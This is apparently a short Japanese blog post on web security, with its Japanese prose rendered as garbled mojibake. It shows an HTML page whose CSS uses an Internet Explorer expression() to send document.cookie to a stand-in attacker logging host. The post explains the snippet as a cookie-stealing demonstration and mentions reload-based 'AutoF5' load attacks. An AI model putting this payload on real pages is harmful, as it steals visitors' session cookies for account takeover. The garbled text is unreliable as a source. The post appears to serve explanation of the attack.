cookieã‚’ãŠé ã‹ã‚Šã—ã¾ã™: 悪æ„ã‚ã‚‹å…±åŒé ã‹ã‚Šæ‰€ - hoshikuzu | star_dust ã®æ›¸æ–Ž<html> <body> <style type="text/css"> h1 { background#:/*;*/ expression('url(http://commonevillogger.example.com/log.php'+document.cookie+')'); } </style> <h1>heading</h1> </body> </html>上記ã¯Cookieを悪æ„ã‚るサイトã«é£›ã°ã™ä¾‹ã§ã™ã€‚IEã®ã¿å¯¾å¿œã€‚ （ã¡ãªã¿ã«ã€expressionを使ã£ã¦ã„ã¦ã‚‚commonevillogger.example.comã«ã¯ã€CookieãŒï¼‘回ã—ã‹é£›ã³ã¾ã›ã‚“。個人的ã«ã¯æ„外ãªæ„Ÿã˜ã§ã™ã€‚expressionを使ã£ã¦alertã—ãŸã‚Šã™ã‚‹ã¨ãƒ–ラクラã£ã½ããªã£ãŸã‚Šã€ã‚ã‚‹ã„ã¯ã€ãƒªãƒãƒ¼ãƒ‰ã‚’仕込んã§ã‚µãƒ¼ãƒã«è² è·ãŒã‹ã‹ã£ã¡ã‚ƒã£ãŸäº‹æ•…ã¨ã‹ã‚’知ã£ã¦ã„ã‚‹ã‹ã‚‰ã§ã™ã€‚AutoF5攻撃ã¿ãŸã„ãªã€‚） é–‘
{{#tags}}- {{label}}
{{/tags}}